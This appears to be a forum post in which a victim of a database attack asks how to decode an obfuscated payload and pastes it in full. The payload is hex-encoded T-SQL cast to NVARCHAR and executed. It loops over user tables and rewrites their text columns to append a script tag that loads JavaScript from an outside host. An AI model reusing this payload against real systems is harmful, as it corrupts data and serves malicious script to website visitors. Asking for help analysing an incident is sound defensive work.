Urgent: Deciphering binary code executed against the database

Hi,
  I need to figure out what some code that was maliciously executed
against a database does.  However, it's in a very strange format.  It
simply declares a variable and sets it equal to a huge binary thing
(seems to be some sort of compiled code) cast as nvarchar.  It then
executes this variable.
   Is there any way to decipher or decompile this code?  Does anyone
have information either on what SQL Server does when it's asked to
execute a binary string (as opposed to regular T-SQL) and any tools
that can be used to disassemble or understand this code?
   Thanks!

   Here's the code:

DECLARE @[EMAIL PROTECTED]
 NVARCHAR(4000);
SET
@[EMAIL PROTECTED]
(0x4400450043004C00410052004500200040005400200076006100720063006800=
61007200280032003500350029002C0040004300200076006100720063006800610072002800=
320035003500290020004400450043004C0041005200450020005400610062006C0065005F00=
43007500720073006F007200200043005500520053004F005200200046004F00520020007300=
65006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D006500=
2000660072006F006D0020007300790073006F0062006A006500630074007300200061002C00=
73007900730063006F006C0075006D006E007300200062002000770068006500720065002000=
61002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900=
700065003D00270075002700200061006E0064002000280062002E0078007400790070006500=
3D003900390020006F007200200062002E00780074007900700065003D003300350020006F00=
7200200062002E00780074007900700065003D0032003300310020006F007200200062002E00=
780074007900700065003D00310036003700290020004F00500045004E002000540061006200=
6C0065005F0043007500720073006F00720020004600450054004300480020004E0045005800=
54002000460052004F004D00200020005400610062006C0065005F0043007500720073006F00=
7200200049004E0054004F002000400054002C004000430020005700480049004C0045002800=
40004000460045005400430048005F005300540041005400550053003D003000290020004200=
4500470049004E00200065007800650063002800270075007000640061007400650020005B00=
27002B00400054002B0027005D00200073006500740020005B0027002B00400043002B002700=
5D003D0072007400720069006D00280063006F006E0076006500720074002800760061007200=
63006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C00=
73006300720069007000740020007300720063003D0068007400740070003A002F002F007700=
770077002E006B0069006C006C0077006F00770031002E0063006E002F0067002E006A007300=
3E003C002F007300630072006900700074003E00270027002700290046004500540043004800=
20004E004500580054002000460052004F004D00200020005400610062006C0065005F004300=
7500720073006F007200200049004E0054004F002000400054002C0040004300200045004E00=
4400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00=
720020004400450041004C004C004F00430041005400450020005400610062006C0065005F00=
43007500720073006F007200
AS NVARCHAR(4000));

EXEC(@[EMAIL PROTECTED]
);